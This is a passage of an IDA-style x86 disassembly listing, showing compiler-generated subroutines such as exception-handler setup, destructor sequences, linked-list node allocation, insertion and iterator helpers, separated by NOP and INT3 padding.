		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401A0A
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	ds:dword_4B3CA8
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_41FD92:				; CODE XREF: _294ADE7B:0041FCABj
					; _294ADE7B:0041FCC6j ...
		push	esi
		call	ds:dword_4B3CA8


loc_41FD99:				; CODE XREF: _294ADE7B:0041FC4Ej
					; _294ADE7B:0041FC57j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FE20:				; CODE XREF: _294ADE7B:00401924j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FE40:				; CODE XREF: _294ADE7B:00401145j
					; _294ADE7B:loc_40190Bj
		push	esi
		mov	esi, ecx
		call	sub_401550
		test	byte ptr [esp+8], 1
		jz	short loc_41FE58
		push	esi
		call	sub_430332
		add	esp, 4


loc_41FE58:				; CODE XREF: _294ADE7B:0041FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE70	proc near		; CODE XREF: sub_401550j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_4370B0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_4011F9
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4011F9
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401EC9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41FE70	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_4011E5j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4012D0
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		pop	esi
		pop	ecx
		retn	4
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF80	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40182A
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_41FF80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFC0	proc near		; CODE XREF: sub_40175Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401898
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4018BB
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401870
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_41FFC0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420030	proc near		; CODE XREF: sub_40147Ej

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401EE2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_420030	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420070	proc near		; CODE XREF: sub_401898j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_420070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200A0	proc near		; CODE XREF: sub_401FDCj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401898
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401825
		pop	esi
		pop	ecx
		retn	4
sub_4200A0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200E0	proc near		; CODE XREF: sub_40166Dj
		push	esi
		mov	esi, ecx
		call	sub_401910
		mov	eax, esi
		pop	esi
		retn
sub_4200E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420100	proc near		; CODE XREF: sub_4011FEj
		mov	eax, [ecx]
		push	eax
		call	sub_4010DC
		add	esp, 4
		retn
sub_420100	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420120	proc near		; CODE XREF: sub_401078j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401EE2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_420120	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420150	proc near		; CODE XREF: sub_401749j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E9C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_420150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420180	proc near		; CODE XREF: sub_40164Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4011EA
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_420180	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201C0	proc near		; CODE XREF: sub_401226j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401398
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401406
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402022
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_4201C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420230	proc near		; CODE XREF: sub_401406j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4010F5
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401C4E
		mov	eax, esi
		pop	esi
		retn	4
sub_420230	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420270	proc near		; CODE XREF: sub_401398j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401C4E
		mov	eax, esi
		pop	esi
		retn	4
sub_420270	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4202A0	proc near		; CODE XREF: sub_4012E4j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401398
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AB4
		pop	esi
		pop	ecx
		retn	4
sub_4202A0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4202E0	proc near		; CODE XREF: sub_401A4Bj
		push	esi
		mov	esi, ecx
		call	sub_401186
		mov	eax, esi
		pop	esi
		retn
sub_4202E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401050j
		mov	eax, [ecx]
		push	eax
		call	sub_401087
		add	esp, 4
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420320	proc near		; CODE XREF: sub_401771j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4010F5
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_420320	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420350	proc near		; CODE XREF: sub_401285j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401C21
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_420350	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420380	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401D93
		mov	edi, eax
		push	edi
		call	sub_401A32
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401348
		push	edi
		mov	ebx, eax
		call	sub_401A32
		push	edi
		mov	[eax], ebx
		call	sub_401A32
		mov	edi, [eax]
		push	edi
		call	sub_401A32
		mov	ecx, [eax]
		push	ecx
		call	sub_40155F
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40114F
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401D0C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401C5D
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_420380	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420420	proc near		; CODE XREF: sub_401825j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010B4
		mov	edi, eax
		push	edi
		call	sub_401BD1
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40182A
		push	edi
		mov	ebx, eax
		call	sub_401BD1
		push	edi
		mov	[eax], ebx
		call	sub_401BD1
		mov	edi, [eax]
		push	edi
		call	sub_401BD1
		mov	ecx, [eax]
		push	ecx
		call	sub_401EE2
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010DC
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_420420	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204C0	proc near		; CODE XREF: sub_4018BBj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401749
		test	al, al
		jz	short loc_42051A


loc_4204D8:				; CODE XREF: sub_4204C0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401F41
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401938
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401749
		test	al, al
		jnz	short loc_4204D8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42051A:				; CODE XREF: sub_4204C0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_4204C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420550	proc near		; CODE XREF: sub_40182Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401CC6
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_420565
		mov	edi, esi


loc_420565:				; CODE XREF: sub_420550+11j
		push	esi
		call	sub_401EE2
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42057A
		mov	edi, esi


loc_42057A:				; CODE XREF: sub_420550+26j
		push	esi
		call	sub_401BD1
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_420550	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4205A0	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4014DD
		retn	4
sub_4205A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4205C0	proc near		; CODE XREF: sub_401EE2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4205C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4205E0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4205E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420600	proc near		; CODE XREF: sub_401910j
		mov	eax, ecx
		retn
sub_420600	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420620	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4014B5
		mov	eax, esi
		pop	esi
		retn	4
sub_420620	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420650	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_420650	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420680	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401811
		mov	edi, eax
		push	edi
		call	sub_4010D2
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4011EA
		push	edi
		mov	ebx, eax
		call	sub_4010D2
		push	edi
		mov	[eax], ebx
		call	sub_4010D2
		mov	edi, [eax]
		push	edi
		call	sub_4010D2
		mov	ecx, [eax]
		push	ecx
		call	sub_4010F5
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401087
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401389
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401C4E
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_420680	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420720	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401285
		test	al, al
		jz	short loc_42077A


loc_420738:				; CODE XREF: sub_420720+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4018CF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A87
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401285
		test	al, al
		jnz	short loc_420738
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42077A:				; CODE XREF: sub_420720+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_420720	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207B0	proc near		; CODE XREF: sub_4011EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_401F46
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4207C5
		mov	edi, esi


loc_4207C5:				; CODE XREF: sub_4207B0+11j
		push	esi
		call	sub_4010F5
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4207DA
		mov	edi, esi


loc_4207DA:				; CODE XREF: sub_4207B0+26j
		push	esi
		call	sub_4010D2
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4207B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420800	proc near		; CODE XREF: sub_402022j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_40180C
		retn	4
sub_420800	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420820	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_420820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420840	proc near		; CODE XREF: sub_401087j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_420840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420860	proc near		; CODE XREF: sub_401186j
		mov	eax, ecx
		retn
sub_420860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420880	proc near		; CODE XREF: sub_401C4Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401816
		mov	eax, esi
		pop	esi
		retn	4
sub_420880	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208B0	proc near		; CODE XREF: sub_401C21j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4208B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_401D0Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401947
		add	esp, 8
		retn	8
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420910	proc near		; CODE XREF: sub_401938j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401F41
		mov	ecx, eax
		call	sub_4010B4
		mov	esi, eax
		push	esi
		call	sub_401EE2
		push	esi
		mov	ebx, eax
		call	sub_401BD1
		mov	ecx, [eax]
		push	ecx
		call	sub_401EE2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401BD1
		push	esi
		mov	ebx, eax
		call	sub_401EE2
		mov	eax, [eax]
		push	eax
		call	sub_401BD1
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010DC
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4015AF
		push	esi
		mov	ecx, edi
		call	sub_401870
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_420910	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4209D0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4209D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4209F0	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_4209F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420A20	proc near		; CODE XREF: sub_4014DDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_420A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420A40	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EBA
		add	esp, 8
		retn	8
sub_420A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420A70	proc near		; CODE XREF: sub_4014B5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_420A70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420A90	proc near		; CODE XREF: sub_4010B4j
		mov	eax, [ecx]
		retn
sub_420A90	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420AB0	proc near		; CODE XREF: sub_401F41j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401078
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_420AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420AE0	proc near		; CODE XREF: sub_401A87j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4018CF
		mov	ecx, eax
		call	sub_401811
		mov	esi, eax
		push	esi
		call	sub_4010F5
		push	esi
		mov	ebx, eax
		call	sub_4010D2
		mov	ecx, [eax]
		push	ecx
		call	sub_4010F5
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010D2
		push	esi
		mov	ebx, eax
		call	sub_4010F5
		mov	eax, [eax]
		push	eax
		call	sub_4010D2
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401087
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D25
		push	esi
		mov	ecx, edi
		call	sub_402022
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_420AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420BA0	proc near		; CODE XREF: sub_4010D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_420BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

